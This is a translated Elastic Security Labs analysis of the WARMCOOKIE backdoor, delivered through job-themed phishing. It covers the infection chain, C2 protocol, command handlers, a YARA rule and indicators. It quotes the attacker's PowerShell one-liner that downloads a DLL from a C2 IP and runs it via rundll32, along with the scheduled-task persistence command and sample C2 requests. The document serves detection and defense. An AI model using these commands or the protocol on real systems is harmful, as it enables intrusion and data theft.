Daniel Stepanic

深入危险:WARMCOOKIE 后门

Elastic 安全实验室发现的新型恶意软件伪装成招聘邀请

27 分钟阅读恶意软件分析
Dipping into Danger: The WARMCOOKIE backdoor

WARMCOOKIE 概览

Elastic 安全实验室在 4 月下旬观察到了一波电子邮件活动,通过部署一种新的后门(我们称之为 WARMCOOKIE)来攻击环境,该后门基于通过 HTTP cookie 参数发送的数据。在初步分类期间,我们的团队发现该代码与 eSentire 之前公开报告的样本存在重叠。帖子中讨论的未命名样本 (resident2.exe) 似乎是 WARMCOOKIE 的较旧版本或变体。虽然某些功能相似,例如字符串混淆的实现,但 WARMCOOKIE 包含不同的功能。我们的团队看到这种威胁每天都在传播,使用招聘和工作主题针对个人。

WARMCOOKIE 似乎是一个初始后门工具,用于侦察受害者网络并部署其他有效负载。每个样本都使用硬编码的 C2 IP 地址和 RC4 密钥进行编译。

本文将回顾观察到的活动和这种新恶意软件的功能。虽然该恶意软件的功能有限,但不应轻视,因为它正在积极使用并在全球范围内影响组织。

主要发现

  • REF6127 代表以招聘为主题的网络钓鱼活动,旨在部署新的 Windows 后门:WARMCOOKIE
  • WARMCOOKIE 是一种新发现的后门,用于指纹识别机器、捕获受害者机器的屏幕截图以及部署其他有效负载
  • 威胁行为者每周都会启动新的域名和基础设施来支持这些活动
  • 此研究包括一个 IDAPython 脚本,用于解密 WARMCOOKIE 中的字符串
  • Elastic Security 在整个 WARMCOOKIE 感染链中提供预防和可见性功能

REF6127 活动概述

自 2024 年 4 月下旬以来,我们的团队观察到新的网络钓鱼活动利用与招聘公司相关的诱饵。这些电子邮件通过姓名和当前雇主针对个人,引诱受害者点击指向内部系统的链接以查看职位描述。以下是从以前的开源报告中收集的网络钓鱼电子邮件示例。

点击后,用户会访问一个看起来像专门针对他们的合法页面的着陆页。在那里,他们被提示通过解决 CAPTCHA 挑战来下载文档。着陆页类似于 Google Cloud 安全团队在讨论 URSNIF 的新变体时记录的先前活动。以下是从以前的开源报告中收集的着陆页示例。

一旦解决了 CAPTCHA,就会从页面下载一个混淆的 JavaScript 文件。我们的样本名为 Update_23_04_2024_5689382.js;但是,其他样本使用了不同的但相似的命名结构。

此混淆的脚本运行 PowerShell,开始加载 WARMCOOKIE 的第一个任务。

PowerShell 脚本滥用后台智能传输服务 (BITS) 下载 WARMCOOKIE,并使用 Start 导出运行 DLL。

start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + 
    [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 
    'http://80.66.88[.]146/data/5fb6dd81093a0d6812c17b12f139ce35' 
    -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + 
    ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job

REF6127 基础设施概述

通过利用 urlscan.ioVirusTotal 等工具,我们观察到威胁行为者不断在 IP 地址 45.9.74[.]135 上快速生成新的着陆页。攻击者推送以针对不同的招聘公司,并结合与求职行业相关的关键词。

在访问每个着陆页之前,攻击者会通过使用受损的基础设施来托管初始网络钓鱼 URL 来拉开距离,该 URL 会重定向到不同的着陆页。

威胁行为者在每次活动运行后都会生成新域名,同时声誉会赶上每个域名。在撰写本文时,可以看到威胁行为者正在转向没有太多声誉影响的新鲜域名。

WARMCOOKIE 恶意软件分析

WARMCOOKIE 是威胁行为者在两个不同阶段使用的 Windows DLL。第一个阶段发生在 PowerShell 下载之后,使用 Start 导出执行 WARMCOOKIE 时。

阶段 1

阶段 1 从具有随机名称的临时目录(例如:wid4ta3v.3gm)复制下载的 DLL,并将 DLL 的副本放置在 C:\ProgramData\RtlUpd\RtlUpd.dll

复制后,恶意软件使用 COM 和 Windows 任务计划程序设置持久性,以配置 DLL 以使用以下参数运行。

"C:\WINDOWS\system32\rundll32.exe" "C:\ProgramData\RtlUpd\RtlUpd.dll",Start /p

通过这种设计选择,WARMCOOKIE 将从任务计划程序引擎以系统权限运行。以下是来自 Hatching Triage 的屏幕截图,显示了这两个阶段

持久性

感染链的关键部分来自计划任务,该任务在感染开始时设置。任务名称 (RtlUpd) 计划每天每 10 分钟运行一次。

阶段 2

第二个阶段是将 DLL 与命令行 (Start /p) 结合使用,并包含 WARMCOOKIE 的核心功能。恶意软件首先在 PowerShell 下载的临时目录中查找 DLL。

混淆

WARMCOOKIE 使用自定义的字符串解密算法来保护其字符串。.rdata 部分中每个加密字符串的前四个字节表示大小,接下来的四个字节表示 RC4 密钥,剩余的字节表示字符串。

以下是使用上述屏幕截图中的字节的 CyberChef 配方

一个有趣的观察结果是,恶意软件开发人员并非总是在加密字符串之间轮换 RC4 密钥。

动态 API 加载

为了防止静态分析识别其核心功能,WARMCOOKIE 使用动态 API 加载。没有 API 哈希/解析,并且目标 DLL 和敏感字符串都使用加密保护。

如前一个图像所示,开发人员对 OpSec 有一定的考虑:任何解密的字符串在使用后都会立即从内存中擦除,从而可能避免内存签名扫描。

反调试

恶意软件包含一些常用于针对沙箱的反分析检查。这些检查基于检查活动 CPU 处理器数量和物理/虚拟内存值的逻辑。

以下是以下条件

  • 如果处理器数量大于或等于 4,并且从 GlobalMemoryStatusEx 调用计算的值大于或等于 0xF00,则恶意软件将继续执行
  • 如果处理器数量大于或等于 8,则恶意软件将继续执行
  • 如果从 GlobalMemoryStatusEx 调用计算的值大于 0x2000,则恶意软件将继续执行

互斥体

每个 WARMCOOKIE 样本都使用硬编码的类似 GUID 的字符串作为互斥体。以下是我们观察到的一些示例

  • f92e6f3c-9cc3-4be0-966c-1be421e69140
  • 91f785f4-2fa4-4c85-954d-b96768ca76f2

在执行主要功能之前,WARMCOOKIE 使用 OR 语句来验证命令行参数,如果 /p 返回 True,或者检查是否需要创建计划任务持久化。

执行

在后门发出第一个出站网络请求之前,它会捕获以下用于指纹识别和识别受害者机器的值。

  • 卷序列号
  • 受害者机器的 DNS 域名
  • 计算机名称
  • 用户名

这是用于识别与 eSentire 的报告中恶意软件相似之处的标准。

WARMCOOKIE C2 服务器很可能利用 CRC32 校验和函数来验证从受害者机器发送的内容。在 WARMCOOKIE 内部,有一个校验和函数,该函数接受一个输入字符串、一个长度和一个 CRC32 函数的初始种子值。在该函数开始时,种子值会被取反,因此在不同时间,校验和函数会使用不同的种子值进行调用。我们认为开发人员添加此步骤是为了让研究人员更难分析并浪费时间。

以下三个校验和计算使用 RC4 加密,并通过 HTTP cookie 参数发送。

  • CRC32(c2_message_data)
  • CRC32(mutex) ^ 卷序列号
  • CRC32(username) ^ CRC32(computer name)

下面是 Python 中的实现,附录中提供了使用示例

def calculate_checksum(str_input, str_len, i):
    if i == 0:
        i = 0xFFFFFFFF
    if i == -1:
        i = 0

    for idx in range(0, str_len, 2):
        v6 = str_input[idx] | (str_input[idx + 1] << 8)
        for _ in range(16):
            if (v6 ^ i) & 1:
                i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
            else:
                i = (i >> 1) & 0xFFFFFFFF
            v6 >>= 1

    return ~i & 0xFFFFFFFF

通信

WARMCOOKIE 样本通过 HTTP 与硬编码的 IP 地址进行通信。该家族使用 RC4 和 Base64 的组合来保护其网络流量。RC4 密钥嵌入在每个样本中。我们观察到多个样本中使用了相同的密钥。本次分析中的密钥是 24de21a8dc08434c

恶意软件使用自定义结构向 C2 服务器发送初始请求,包括前面描述的校验和值和用于跟踪可变数据偏移量和大小的几个字段。

这些值使用以下自定义结构通过 HTTP cookie 参数发送

enum request_type
{ 
    REGISTRATION = 1, 
    COMMAND = 2 
};

struct os_info
{
    int major_version;
    int minor_version;
    int build_number;
    int version_calc;
};

struct initial_request
{
    int checksum_c2_message_data;
    int checksum_volume_mutex;
    int checksum_computer_name_username;
    request_type request_type;
    os_info os_ver;
    int offset_to_dns_domain;
    int size_base64_dns_domain;
    int offset_to_base64_computer_name;
    int size_base64_computer_name;
    int offset_to_base64_username;
    int size_base64_username;
    char base64_dns_domain[]; // Variable-length array
    char base64_username[]; // Variable-length array
    char base64_computer_name[]; // Variable-length array 
};

发送到 C2 服务器的第一个请求通过 GET 请求发送,使用 User Agent:Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705

GET http://185.49.69[.]41/ HTTP/1.1
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
Host: 185.49.69[.]41
Connection: Keep-Alive
Pragma: no-cache

以下是从第一个请求解密的 HTTP cookie 参数的 CyberChef 配方,以及字段的图例

WARMCOOKIE 通过使用前面描述的校验和函数生成哈希值来插入一些完整性检查。例如,从第 4 个字节到末尾的解密 HTTP cookie 参数中的数据被哈希处理,并放在开头(偏移量 0)。使用上面的示例,此校验和值为 0xe51387e9

在恶意软件接收指令之前,还会使用完整性检查来验证来自 C2 服务器的传入响应。在这种情况下,C2 服务器为发送到受害者机器的数据生成预期的校验和。这位于请求的前四个字节中。

以下演示了此完整性检查,其中请求数据的哈希值为 0x50d26cc3

如果校验和匹配,WARMCOOKIE 会读取请求的第 8 字节偏移量处的命令 ID,以继续移动到下一个命令处理程序。

Bot 功能

WARMCOOKIE 为威胁行为者提供了 7 个命令处理程序,用于检索额外的受害者信息、录制屏幕截图、启动其他有效负载等。提供的功能相对简单,允许需要轻量级后门的威胁组织监控受害者并部署更具破坏性的有效负载(如勒索软件)。

命令 ID描述
1检索受害者详细信息
2录制受害者机器的屏幕截图
3通过卸载注册表路径检索已安装的程序
4命令行执行 (cmd.exe /c)
5将文件写入受害者机器
6从受害者机器读取文件
10删除计划任务持久化

检索受害者详细信息 - 命令 ID (1)

此处理程序通过收集 IP 地址和 CPU 信息来指纹识别和识别受害者机器。有趣的是,此处理程序所需的导入是静态导入的。

恶意软件在将数据发送回 C2 服务器时使用 HTTP POST 请求。HTTP POST 请求数据通过 RC4 加密,并通过原始形式在网络上发送。此外,IP 地址和 CPU 信息采用 Base64 编码。

POST http://185.49.69[.]41/ HTTP/1.1
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
Host: 185.49.69.41
Content-Length: 136
Connection: Keep-Alive
Pragma: no-cache

  qI:f*m  yڂ  z ? !  ,!w   k i A  K    k8 .(M ޣ> ދ  u[ôz  0 -U~    9 z G(  *X  o_  _      * Y, q  glTs   XI8b\)W   W"

解密 HTTP POST 请求数据后,会呈现与之前类似的结构,其中数据的前面加载了校验和值、偏移量和大小,以定位处理程序针对的相关信息。在这种情况下,Base64 编码的数据是 IP 地址和 CPU 信息。

编码值解码值
MTkyLjE2OC4xODIuMTMx192.168.182.131
QU1EIFJ5emVuIDcgNzgwMFgzRCA4LUNvcmUgUHJvY2Vzc29yICAgICAgICAgICA=AMD Ryzen 7 7800X3D 8 核处理器

屏幕截图捕获 - 命令 ID (2)

从受害者机器捕获屏幕截图的能力提供了广泛的恶意选项,例如窃取屏幕上显示的敏感信息或主动监控受害者的机器。此处理程序动态加载用于图形和绘图操作的 Windows DLL,例如 GDI32.DLLGDIPLUS.DLL,然后使用各种 API(例如 BitBltCreateCompatibleBitmapGetSystemMetrics)生成屏幕截图。

收集的屏幕截图通过 RC4 加密,并通过 POST 请求与校验和数据一起发送。

通过查找文件头 JPEG 文件交换格式 (JFIF),我们可以分割出图像,并根据我们对此处理程序的请求找到我们沙箱机器的高质量图像(如下所示)。

检索已安装的程序 - 命令 ID (3)

此处理程序通过注册表项枚举受害者机器上已安装的程序

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

程序的名称、版本和安装日期采用 Base64 编码,并与校验和数据、偏移量和大小一起放入以管道分隔的格式中。

以下是其中一个注册表项的示例

编码值解码值
Ny1aaXAgMTguMDEgKHg2NCk=7-Zip 18.01 (x64)

命令行执行 - 命令 ID (4)

WARMCOOKIE 使用此处理程序提供对受害者机器的后门访问。操作员提供一个参数,该参数在没有控制台窗口的情况下执行到 cmd.exe /c

在下面的示例中,whoami 作为参数提供

此函数读取所提供命令的输出,并将其存储在 Base64 中,然后将其发送回 C2 服务器。以下是此处理程序的解密数据示例

编码值解码值
ZGVza3RvcC0yYzNpcWhvXHJlbQ0Kdesktop-2c3iqho\rem

写入文件 - 命令 ID (5)

WARMCOOKIE 可以在受害者机器上丢弃文件;威胁行为者提供文件路径和文件数据。

作为测试,我们可以在目录中使用一些数据写入文件,然后在下一个处理程序中读取该文件。

根据文件写入结果,WARMCOOKIE 将发送一个带有以下 Base64 编码值之一的 POST 请求

  • OK
  • 错误:无法写入文件

读取文件 - 命令 ID (6)

此处理程序可以从感染 WARMCOOKIE 的机器读取文件内容。威胁行为者需要提供文件路径作为参数。

根据文件读取结果,WARMCOOKIE 将发送一个带有以下 Base64 编码值之一的 POST 请求以及文件内容

  • OK(请参阅“文件”选项卡)
  • 错误:无法读取文件

基于之前关于 文件选项卡的措辞,WARMCOOKIE 操作员可能会使用 GUI 元素。

删除持久化 - 命令 ID (10)

此处理程序删除之前配置的名为 RtlUpd 的计划任务。通过利用 COM,它将在 mstask.dll 中调用 DeleteFileW 来删除该任务。

IDA 字符串解密工具

Elastic Security Labs 正在发布一个 IDAPython 脚本,用于解密 WARMCOOKIE 中的字符串。解密的字符串将放置在 IDA Pro 反编译器中,帮助分析人员识别关键功能。字符串解密和 IDA 注释工具可以在此处下载。

结论

WARMCOOKIE 是一种新发现的后门,它越来越受欢迎,并且正在被用于针对全球用户的活动中。我们的团队认为,这种恶意软件是一种强大的威胁,它提供了访问目标环境并将其他类型的恶意软件推送到受害者的能力。虽然在恶意软件开发方面还有改进的空间,但我们相信这些小问题会随着时间的推移得到解决。Elastic Security Labs 将继续监控此威胁,并建议业界也这样做。

WARMCOOKIE 和 MITRE ATT&CK

Elastic 使用 MITRE ATT&CK 框架来记录高级持续性威胁针对企业网络使用的常见策略、技术和过程。

策略

策略代表技术或子技术背后的原因。它是攻击者的战术目标:执行动作的原因。

技术

技术代表攻击者如何通过执行动作来实现战术目标。

预防和检测 WARMCOOKIE

预防

使用 YARA 检测

Elastic Security 已创建 YARA 规则来识别此活动。以下是用于识别 WARMCOOKIE 的 YARA 规则

rule Windows_Trojan_WarmCookie_7d32fa90 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-04-29"
        last_modified = "2024-05-08"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.WarmCookie"
        license = "Elastic License v2"

     strings:
        $seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }
        $seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }
        $seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }
        $seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }
        $plain_str1 = "release.dll" ascii fullword
        $plain_str2 = "\"Main Invoked.\"" ascii fullword
        $plain_str3 = "\"Main Returned.\"" ascii fullword
        $decrypt_str1 = "ERROR: Cannot write file" wide fullword
        $decrypt_str2 = "OK (No output data)" wide fullword
        $decrypt_str3 = "OK (See 'Files' tab)" wide fullword
        $decrypt_str4 = "cmd.exe /c %ls" wide fullword
        $decrypt_str5 = "Cookie:" wide fullword
        $decrypt_str6 = "%ls\\*.*" wide fullword
    condition:
        (3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)
}

观察结果

所有可观察对象也可通过 下载 获取,格式为 ECS 和 STIX。

本研究中讨论了以下可观察对象。

可观察对象类型名称参考
ccde1ded028948f5cd3277d2d4af6b22fa33f53abde84ea2aa01f1872fad1d13SHA-256RtlUpd.dllWARMCOOKIE
omeindia[.]com网络钓鱼链接
assets.work-for[.]top着陆页
45.9.74[.]135ipv4-addr着陆页
80.66.88[.]146ipv4-addrWARMCOOKIE C2 服务器
185.49.69[.]41ipv4-addrWARMCOOKIE C2 服务器

参考

以下是贯穿上述研究的参考

附录

校验和示例

def calculate_checksum(str_input, str_len, i):
    if i == 0:
        i = 0xFFFFFFFF
    if i == -1:
        i = 0

    for idx in range(0, str_len, 2):
        v6 = str_input[idx] | (str_input[idx + 1] << 8)
        for _ in range(16):
            if (v6 ^ i) & 1:
                i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
            else:
                i = (i >> 1) & 0xFFFFFFFF
            v6 >>= 1

    return ~i & 0xFFFFFFFF


serial_volume = 0x0A2C9AD2F

mutex = "f92e6f3c-9cc3-4be0-966c-1be421e69140".encode("utf-16le")
mutex_result = calculate_checksum(mutex, len(mutex), -1)

username = "REM\x00".encode("utf-16le")
username_result = calculate_checksum(username, len(username), -1)

computer_name = "DESKTOP-2C3IQHO".encode("utf-16le")
computer_name_result = calculate_checksum(computer_name, len(computer_name), -1)

print(f"Mutex: {hex(mutex_result)}")
print(f"Username: {hex(username_result)}")
print(f"Computer Name: {hex(computer_name_result)}")
print(f"#1 Checksum: {hex(serial_volume ^ mutex_result)}")
print(f"#2 Checksum: {hex(username_result ^ computer_name_result)}")